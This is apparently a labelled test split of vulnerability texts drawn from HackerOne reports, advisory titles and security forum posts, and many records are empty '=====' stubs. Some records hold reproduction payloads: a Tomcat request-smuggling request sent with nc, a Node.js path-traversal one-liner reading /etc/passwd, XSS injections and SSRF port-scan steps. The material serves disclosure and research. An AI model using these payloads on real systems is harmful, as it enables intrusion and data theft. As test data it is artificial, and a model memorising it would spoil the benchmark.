issue:\n\nThis issue is caused by the skipping call of the `mbedtls_ssl_set_hostname` function in `mbed_connect_step1`. The `mbedtls_ssl_set_hostname` function is used to set the server name for the SNI extension and also for the server certificate name check. If the `mbedtls_ssl_set_hostname` function is not called, the server certificate name check will be bypassed.\n\nThe vulnerable of code snippet from `mbed_co", "source": "hackerone", "timestamp": "2024-03-27", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ac3b8bc5fc370c420285", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "730526834ce65d27062c", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "573038e42b09d1ae5c99", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "4cb0686cb111c7d60728", "text": "ABB Cylon Aspect 3.08.03 (webServerDeviceLabelUpdate.php) File Write DoS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-01-03", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "6a1a98703b99fa5fdae6", "text": "ABB Cylon Aspect 3.07.00 (obtainPorts.php) Configuration Manipulation\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-12", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "ce70ea78a8c39731ffbc", "text": "ABB Cylon Aspect 3.08.01 (mstpstatus.php) Information Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-11-28", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "77d40f35cded9385cb51", "text": "[HTTP Request Smuggling] Request Smuggling in Apache Tomcat (Important, CVE-2023-45648)\n\nApache Tomcat supports Trailer Section. However, we found that in version prior than 11.0.0-M11, 10.1.13, 9.0.80, 8.5.93, Apache Tomcat cannot properly parse the trailer section if there's no colon in the trailer header's line. It will skip the following lines until the last line with a valid colon-separated key-value header pair, which can be leveraged to perform HTTP request smuggling.\n\nIf we send the following payload, the headers of the second request **(Line 12-15)** will be regarded as the trailer section of the first request, while the content of the second request **(Line 17-19)** is processed as the second request. When sending this payload to other HTTP implementations such as NGINX, **Line 12-21** would be the second request.\n```http\nPOST /benign_path HTTP/1.1\nHost: a.com\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n5\n12345\n0\nContent: hello\na\n\nPOST /benign_path HTTP/1.1\nHost: a.com\nConnection: keep-alive\nContent-Length: 37\n\nGET /evil_path HTTP/1.1\nAny: any\nHost: b.com\n\n\n```\n\nReproduce:\n```shell\ndocker run -d --name hrs_tomcat_11 -p 43022:8080 tomcat:10.1.13\necho -n 'POST /benign_path HTTP/1.1\\r\\nHost: a.com\\r\\nConnection: keep-alive\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n5\\r\\n12345\\r\\n0\\r\\nContent: hello\\r\\na\\r\\n\\r\\nPOST /benign_path HTTP/1.1\\r\\nHost: a.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 37\\r\\n\\r\\nGET /evil_path HTTP/1.1\\r\\nAny: any\\r\\nHost: b.com\\r\\n\\r\\n' | nc 127.0.0.1 43022\ndocker exec -it hrs_tomcat_11 /bin/sh -c \"cat /usr/local/tomcat/logs/localhost*\"\n```\n\nAccess log:\n```\n192.168.215.1 - - [30/Dec/2023:10:42:00 +0000] \"POST /benign_path HTTP/1.1\" 404 683\n192.168.215.1 - - [30/Dec/2023:10:42:00 +0000] \"GET /evil_path HTTP/1.1\" 404 683\n```\n\nThe screenshot of emails between Apache Tomcat Security Team and me is uploaded as the attachment.\n\n## Impact\n\nIt can be leveraged to perform HTTP request smuggling in order to bypass security mechanisms when Apache Tomcat is deployed behind a reverse proxy.", "source": "hackerone", "timestamp": "2024-02-07", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "cc09d250ad620f30bf7d", "text": "[Uncontrolled Resource Consumption] Apache HTTP Server: HTTP/2 DoS by memory exhaustion on endless continuation frames\n\nI'd like to report Apache httpd vulnerability (CVE-2024-27316) that was recently fixed.\n* Advisory: https://httpd.apache.org/security/vulnerabilities_24.html\n\n## Impact\n\nHTTP/2 incoming headers exceeding the limit are temporarily buffered in nghttp2 in order to generate an informative HTTP 413 response. If a client does not stop sending headers, this leads to memory exhaustion.", "source": "hackerone", "timestamp": "2024-04-24", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "490401bc6b74e3d349fc", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a0de636e1ef3262160d6", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "af9047effe4b779cf1fc", "text": "Positron Broadcast Signal Processor TRA7005 v1.20 _Passwd Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-04", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a6e10afb0c8ada669dd4", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS on error message on Login Page\n\nGreetings!\n\nI've found a reflected XSS on a login page on█████ . The vulnerable link is: `https://███████/users/login?error=<img src='x' onerror=\"alert(document.domain)\">`\n\n█████████\n\n## Impact\n\nAn attacker can inject crafted javascript that can steal user cookies, impersionate, steal information, deface the website and redirect user to another domain\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nAccess `https://██████/users/login?error=<img src='x' onerror=\"alert(document.domain)\">`\n\n## Suggested Mitigation/Remediation Actions\nSanitize the output with htmlspecialchars();", "source": "hackerone", "timestamp": "2024-05-03", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "2ede39f195a2c8b9c95f", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "bf8a6136b310f75fc4e1", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "509efda2f1600328a048", "text": "[Cleartext Transmission of Sensitive Information] Cleartext Transmission of password via Email\n\n## Summary:\nAfter successfully signup as a fan, the password was then sent to email by cleartext\n\n## Steps To Reproduce:\n1. After successfully signup as a fan, check the email and see that the password was sent in cleartext, it does not appear in the UI, just F12 and you can see the user password\n{F3012123}\n\n## Impact\n\nIf the mail channel was sniffed, the attacker can compromise user accounts easily", "source": "hackerone", "timestamp": "2024-04-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "81915cdba50a96d61253", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "813bdc12b7ea1f13b4a6", "text": "ABB Cylon Aspect 3.08.02 (fileSystemUpdate.php) Remote Guest2Root Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-08", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ec0a475b24e6eb033323", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "5707a2751a5157e4aef3", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "b0783fed51132e85cd50", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "47980bdabdd046460113", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "74fdb2c49429013e4207", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "45f0e95677dec995a242", "text": "Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Device Config\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "9fca669f128728f21a3d", "text": "Not a expert malware dev but I’ve tried using Google’s Antigravity for PoCs. Indeed, once you go a bit deeper it starts being to vague and writing non-functional code, or get confused with the code flow. And this is true for every AI I’ve tried so far. Interestingly enough though, I was trying out Antigravity to write a basic shellcode runner the other day and it decided on its own to initially assign RW access to the allocated memory and before running it, flip it to RX/RWX for “stealthier” execution.", "source": "0x00sec", "timestamp": "2026-03-04", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "e6704166022ccf670051", "text": "ABB Cylon Aspect 3.08.01 (diagLateThread.php) Information Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-11-27", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "2b59cfb015535cad91ac", "text": "[Server-Side Request Forgery (SSRF)] Internal Blind Server-Side Request Forgery (SSRF) allows scanning internal ports\n\n## Summary:\nBlind SSRF reports on services that are designed to load resources from the internet is Out of scope but this is a Internal Blind SSRF report so should be a Valid find as I am reading the localhost not someone else server.\nI found a Blind SSRF issue that allows scanning internal ports on https://getpocket.com/saves , the server will give different response  the request to all the closed ports and  we can use this in our advantage.\nI also confirm this by doing a scan on my network for open ports and closed ports thus proving that the open and closed ports show different response \n\n## Steps To Reproduce:\n\n1. Go to https://getpocket.com/saves? as an Authenticated person\n2. Click on the Plus Icon at the Top and enter the URL \"https://127.0.0.1:1\"\n3. intercept this request using a Proxy like BURP and send the request to the Repeater Tab [Intruder Tab if you want to scan ]\n4. change the ports to see different results , You will see different  response for the different ports which shows which one is open and which one is closed.\n\nSuch as \nhttps://127.0.0.1:22 Open\nhttps://127.0.0.1:21 close\nhttps://127.0.0.1:86 Open\nhttps://127.0.0.1:88 Open\nhttps://127.0.0.1:87 close\n\n## Supporting Material/References:\nhttps://hackerone.com/reports/1300585\n\n##PoC\nScanning the Internal system\n{F2403088}\n\nProving that the Open ports gives greater then 3000 length response \n{F2403089}\n\n## Impact\n\nThis vulnerability can be used for reconnaissance. Attacker can enumerate services and launch attacks against them\nExample: Port Scan by different response from the server", "source": "hackerone", "timestamp": "2024-01-12", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "ae9cd00fa507f177a243", "text": "Ok, for anyone got it to print here’s a thing you should pay attention to, when i printed using printf - outFormat db “%llx”, 0x0a, 0x00 - i got : <…SNIP…> c708e2f74831c0b0 14831ff40b70148 <— notice there are 15 instead of 16 31f64889e64831d2 <…SNIP…> this one little missing 0 got me working for a couple of hours! turns out the hex format specifier/printf will omit the 0 at the beginning, it should be like this: <…SNIP…> c708e2f74831c0b0 014831ff40b70148 <— fixed 31f64889e64831d2 <…SNIP…> then all you need to do is concatenate, and use loader.py - no need to worry about endianness, ps: i figured out whats wrong by debugging through the loop and checking rdx every time after XORing.", "source": "hackthebox", "timestamp": "2024-01-24", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "d0fd29c2f679039fc18a", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a2b21b7368ce8d725b6c", "text": "ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) Authenticated Path Traversal\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-12-30", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "61ca5ee771bcedc34496", "text": "Recommend focusing on one target parameter at a time to inject into there for initial detection. Variation of injection elements needed are covered in learning material. There’s more than one way get command injection there also.", "source": "hackthebox", "timestamp": "2024-02-09", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "70f667fd1752747c0bfb", "text": "Ilevia EVE X1/X5 Server 4.7.18.0.eden Root Privilege Escalation\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-11-06", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "9bbb9e9a76fc8a417951", "text": "ABB Cylon Aspect 3.08.02 (licenseUpload.php) Stored Cross-Site Scripting\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-10", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "f7c8eefd2d1d0a976a0a", "text": "[Path Traversal] Path traversal through path stored in Uint8Array in Node.js 20\n\nVarious `node:fs` functions allow specifying paths as either strings or `Uint8Array` objects. In Node.js environments, the `Buffer` class extends the `Uint8Array` class. Node.js prevents path traversal through strings (see CVE-2023-30584) and `Buffer` objects (see CVE-2023-32004), but not through non-`Buffer` `Uint8Array` objects.\n\nThis is distinct from CVE-2023-32004 ([report 2038134](https://hackerone.com/reports/2038134)), which only referred to `Buffer` objects. However, the vulnerability follows the same pattern using `Uint8Array` instead of `Buffer`.\n\n## Steps To Reproduce:\n\nThe following Node.js command prints the contents of `/etc/passwd` despite having been granted access to `/tmp` only. This relies on the fact that `TextDecoder` produces `Uint8Array` objects that are not `Buffer` objects.\n\n```\n$ node --experimental-permission \\\n        --allow-fs-read=/tmp/ \\\n        -p 'fs.readFileSync(new TextEncoder().encode(\"/tmp/../etc/passwd\"))'\n<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 6e 6f 62 6f 64 79 3a 78 3a 36 35 35 33 34 3a 36 35 35 33 34 3a 4e ... 2103 more bytes>\n```\n\n## Supporting Material/References:\n\n* CVE-2023-30584 ([report 1952978](https://hackerone.com/reports/1952978))\n* Commit [205f1e6](https://github.com/nodejs/node/commit/205f1e643e25648173239b2de885fec430268492) prevents CVE-2023-30584 but ignores non-string inputs.\n* CVE-2023-32004 ([report 2038134](https://hackerone.com/reports/2038134))\n* Commit [1f64147](https://github.com/nodejs/node/commit/1f64147eb607f82060e08884f993597774c69280) prevents CVE-2023-32004 but ignores non-`Buffer` objects.\n\n## Patch\n\nI provided a patch, which was merged into Node.js 20 as [commit fa5dae1944](https://github.com/nodejs/node/commit/fa5dae1944).\n\n## Impact\n\nEquivalent to CVE-2023-30584 ([report 1952978](https://hackerone.com/reports/1952978)) and CVE-2023-32004 ([report 2038134](https://hackerone.com/reports/2038134)).", "source": "hackerone", "timestamp": "2024-01-20", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "90d4c6a7367937da9fbd", "text": "[Misinterpretation of Input] CVE-2024-2004: Usage of disabled protocol\n\n## Summary:\n` --proto` in some circumstances ENABLES all protocols after being given `-all`, potentially leading to sending sensitive data over an unencrypted channel.\n\n## Steps To Reproduce:\n`curl -Ivs --proto -all,-http http://curl.se`\nThis command should result in `curl: (1) Protocol \"http\" disabled` but it actually succeeds.\n\n## Supporting Material/References:\nThe example command above performs a request to curl.se over http, despite being http support being disabled, both implicitly (-all) and explicitly (-http).  It appears that a `--proto` string starting with `-all` and only ever removes protocols without adding them fails in this way. For example:\n\nExample failure scenarios (allowing ALL protocols to go through):\n```\n--proto -all\n--proto -all,-http\n--proto -all,-ftp,-smtp,-pop3\n```\nExample correct scenarios (behaving as documented):\n```\n--proto -all,https\n--proto -all,https,-http\n--proto -all,-ftp,-smtp,-pop3,pop3s\n--proto -http\n```\nThe only failure scenarios I could find were those that first removed all protocols with -all, then (optionally) removed additional, individual\nprotocols, and never added any. The documented behaviour for this would be to fail ALL curl transfers, so it shouldn't happen anywhere in production\nsituations (since generally people want to do transfers with curl). However, I could still imagine it happening, such as when the list of allowed protocols is programmatically computed in a system where a particular situation should not allow any transfers. But this bug means that transfers would go ahead, anyway.\n\nIn a situation where something is relying on curl to block an unencrypted transfer, the consequences of this bug can be pretty severe (unencrypted data travelling over the Internet) and therefore High severity. On the other hand, IF this is the only situation where this bug occurs (where all protocols are supposed to be disabled), then I'm guessing this generally pretty uncommon and therefore Medium or even Low may be more appropriate. It's hard to know if anyone is relying on this.\n\nI bisected the problem to [this commit]( https://github.com/curl/curl/commit/e6f8445edef8e7996d1cfb141d6df184efef972c) which was released in 7.85.0 and introduced string-based protocol selection:\n```\ne6f8445edef8e7996d1cfb141d6df184efef972c is the first bad commit\ncommit e6f8445edef8e7996d1cfb141d6df184efef972c\nAuthor: Daniel Stenberg <daniel@haxx.se>\nDate:   Mon Jun 13 09:30:45 2022 +0200\n\n    setopt: add CURLOPT_PROTOCOLS_STR and CURLOPT_REDIR_PROTOCOLS_STR\n\n    ... as replacements for deprecated CURLOPT_PROTOCOLS and\n    CURLOPT_REDIR_PROTOCOLS as these new ones do not risk running into the\n    32 bit limit the old ones are facing.\n\n    CURLINFO_PROTCOOL is now deprecated.\n\n    The curl tool is updated to use the new options.\n\n    Added test 1597 to verify the libcurl protocol parser.\n\n    Closes #8992\n```\nI discovered it while replying to https://github.com/curl/curl/issues/12942\n\nAn example test case to show the problem is attached.\n\n## Impact\n\nData can be sent over an unencrypted channel because curl'ls mechanism to prevent it does not work.", "source": "hackerone", "timestamp": "2024-03-27", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "2a8c10873f7f7ab7b470", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on terra-6.indriverapp.com\n\nI've found an XSS on terra-6.indriverapp.com\n\n\n## Steps To Reproduce:\n\n1. Go to  ██████\n\nAn alert window will popup.\n\n\n## Supporting Material/References:\n███████\n\n## Impact\n\nExecuting javascript code on users browsers.", "source": "hackerone", "timestamp": "2024-01-29", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "1462c6505200d3510d24", "text": "ABB Cylon Aspect 3.07.02 (downloadDb.php) Authenticated File Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-04", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "9b95f69872352cac6fa5", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a80b3cecebde1a436d34", "text": "ABB Cylon FLXeon 9.3.4 (wsConnect.js) WebSocket Command Spawning PoC\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-07", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "c76805cacd9de0910794", "text": "ABB Cylon Aspect 3.08.01 (getApplicationNamesJS.php) Building/Project Name Exposure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-10-28", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "0642c4019fbcb32ccca3", "text": "[Cross-site Scripting (XSS) - Reflected] Parâmetro XSS: Nome de usuário - █████████\n\nHi teams,\n\nBurp - Request\n\n█████\n\nIn the first video, I demonstrate via burp the capture of get and then I modify it to post and copy the code that I sent in the other reports and send the xss.\n\nDod-1.mkv\n\nIn the video dod-2.mkv I am sending the xss via \"POC\" poc-dod.html\n\n## Impact\n\nThe attacker can steal data from whoever checks the report.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nBurp Request\n\nPOST /testweb/aeon.dll/css/Aeon.dll HTTP/1.1\nHost: ███\nSec-Ch-Ua: \"Chromium\";v=\"121\", \"Not A(Brand\";v=\"99\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nAccept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 597\n\nAddress=███████&Address2=█████&AeonForm=Registration&City=██████&Country=████&Department=Candidate&EMailAddress=█████████&FORMSTATE=1&FirstName=ghovjnjv&ID=1&IDType=1&LastName=ghovjnjv&NotificationMethod=Email&Password1=u]H[ww6KrA9F.x-F&Password2=u]H[ww6KrA9F.x-F&Phone=███&SAddress=██████&SAddress2=█████████&SCity=██████&SCountry=AF&SState=N/A&SZip=██████████&State=N/A&Status=USMA&SubmitButton=Submit%20Information&Username=ghovjnjv'\"()%26%25<zzz><ScRiPt>alert(233)</ScRiPt>&Zip=██████████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2024-03-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "e107debfb519d59f7593", "text": "[Server-Side Request Forgery (SSRF)] Libuv: Improper Domain Lookup that potentially leads to SSRF attacks\n\nI recently encountered a challenge in a CTF competition that led me to discover a vulnerability within Node.js, present in all versions after v10. Upon further investigation and code debugging, it became apparent that the vulnerability originated from its direct dependency, `libuv`.\n\nI submitted a report to the Node.js team via HackerOne, and they subsequently connected me with the libuv team. This collaboration resulted in the identification and resolution of the vulnerability, now recorded as CVE-2024-24806.\n\n## Impact\n\nThis vulnerability could allow an attacker to craft payloads that results in **SSRF** attacks and **Internal API Access**. Full explanation of vulnerability, PoC and sample scenarios are provided within the original report:\nhttps://github.com/libuv/libuv/security/advisories/GHSA-f74f-cvh7-c6q6", "source": "hackerone", "timestamp": "2024-03-29", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "bd92797c4d3d8cc80016", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "d53d28d87aa5d207de5f", "text": "ABB Cylon Aspect 3.07.02 (sshUpdate.php) Unauthenticated Remote SSH Service Control\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-10-10", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "8db247f863f0e0e8bdf7", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "5309d2c638c797cee1ee", "text": "ABB Cylon Aspect 3.08.01 (combinedStats.php) Information Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-12-08", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "dfb4789264626d75a218", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "235a9969c8cf049e6ccf", "text": "ABB Cylon FLXeon 9.3.4 Insecure Backup Sensitive Data Exposure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "7b7d67c95d71ef1fb54d", "text": "TELSAT marKoni FM Transmitter 1.9.5 Backdoor Account\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-01-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ae623c7bede904f3d7e4", "text": "ABB Cylon Aspect 3.08.01 (throttledLog.php) Unauthenticated Log Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "54098df0b93e4921175a", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "0d834c2c45c65dbc3a6a", "text": "Dear Senior, I am one of your juniors. I sincerely apologize; I realized that the individual involved might be attempting to conduct illegal activities, so I have deleted the solutions.", "source": "0x00sec", "timestamp": "2026-03-03", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "0cc87e733ebb9d660d08", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "f0598af7539ad2aea0f0", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "430fb72725757416770d", "text": "ABB Cylon Aspect 3.08.01 (vstatConfigurationDownload.php) Config Download\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-11-26", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "34f3409362130c6df1fb", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "9f0380d055ea51e1211f", "text": "TwoMillion - HackTheBox WriteUp en Español\n\nURL: Yw4rf TwoMillion es una máquina de la plataforma HackTheBox . En esta ocasión nos encontraremos con dos puertos abiertos 22/SSH y 80/HTTP. Obtendremos un codigo de invitación descifrando código encriptado, enumeraremos una API para poder acceder como administrador, inyectaremos una reverse shell, encontraremos una base de datos lo que nos llevara a encontrar usuario y contraseña en un archivo .env y debido a que el Kernel Linux está desactualizado se puede utilizar CVE-2023-0386 para escalar privilegios.", "source": "hackthebox", "timestamp": "2024-10-22", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "55b9a3a0a4fbcf79377f", "text": "Daikin Security Gateway v214 Remote Password Reset\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-04-28", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "40d5132fa17624932a7a", "text": "JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2026-02-10", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a0630b82ebec46259187", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "5e6ccf1ed3b2db15dcbb", "text": "[Uncontrolled Resource Consumption] http: Reading unprocessed HTTP request with unbounded chunk extension allows DoS attacks\n\nI'd like to report Node.js vulnerability (CVE-2024-22019) that was recently fixed:\n- HackerOne report: https://hackerone.com/reports/2233486\n- Release notes: https://nodejs.org/en/blog/vulnerability/february-2024-security-releases\n\n## Impact\n\nThis is a major issue because it allows unbounded resource (CPU, network bandwidth) consumption of the standard Node.js http server. The standard methods which could help blocking a malicious requests like timeouts and limiting request body size do not seem to work.", "source": "hackerone", "timestamp": "2024-03-05", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ab5bc67b9643cea90501", "text": "Ilevia EVE X1/X5 Server 4.7.18.0.eden Authenticated Remote Command Injections\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-11-13", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "5f6f46e42fdc3e574fd0", "text": "Ilevia EVE X1 Server 4.7.18.0.eden Neuro-Core Unauth Code Invasion\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-07-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ae497471369ee3072f2f", "text": "JUNG Smart Visu Server 1.1.1050 Remote Server Shutdown\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-02-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "9f15e66d3f50657c4ff8", "text": "Pachno 1.0.6 (return_to) Open Redirection\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "5eb6a90b57deb5fecc8c", "text": "Tattile Cameras 1.181.5 Insufficient Token (X-User-Token) Expiration\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2026-02-24", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "c709c8f59a06b1d6f006", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "64e778ad112a8acccb31", "text": "[File and Directory Information Exposure] File listing through scripts folder\n\n## Summary:\nIt's possible to list all hidden files that are located within the TVAVirtual.com Sharepoint folder structure.\n\n## Steps To Reproduce:\n\n1. Navigate to TvaVirtual.com\n2. Open the pages source code and notice that its build using sharepoint pages.\n3. Confirm that you see a listing for /SiteAssets/Scripts/js.cookie.min.js. Click on it to navigate to the page\n4. Once https://tvavirtual.com/SiteAssets/Scripts/js.cookie.min.js loads, then remove js.cookie.min.js from the url\n5. Confirm that TvaVirtual.com now shows the script folder listing on the page.\n6. Remove the extra folder from the url to list the root folder at https://tvavirtual.com/SiteAssets/Forms/AllItems.aspx?RootFolder=\n7. Navigate through the directory listing in an attempt to find sensitive files, enumerate publishing users and version history.\n\n## Supporting Material/References:\nI've attached jpgs showing what is available. You may see a login from bugs@tobiasdiehl.com where I was confirming cross tenant access to the files.\n\n## Impact\n\nAttackers can potentially enumerate sensitive information and files that would otherwise be protected", "source": "hackerone", "timestamp": "2024-02-09", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "2066beac89db793452a1", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "2a8113101ef48f7160e7", "text": "TELSAT marKoni FM Transmitter 1.9.5 Insecure Access Control Change Password\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-01-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "c8e0a1eb6c7be8b96409", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
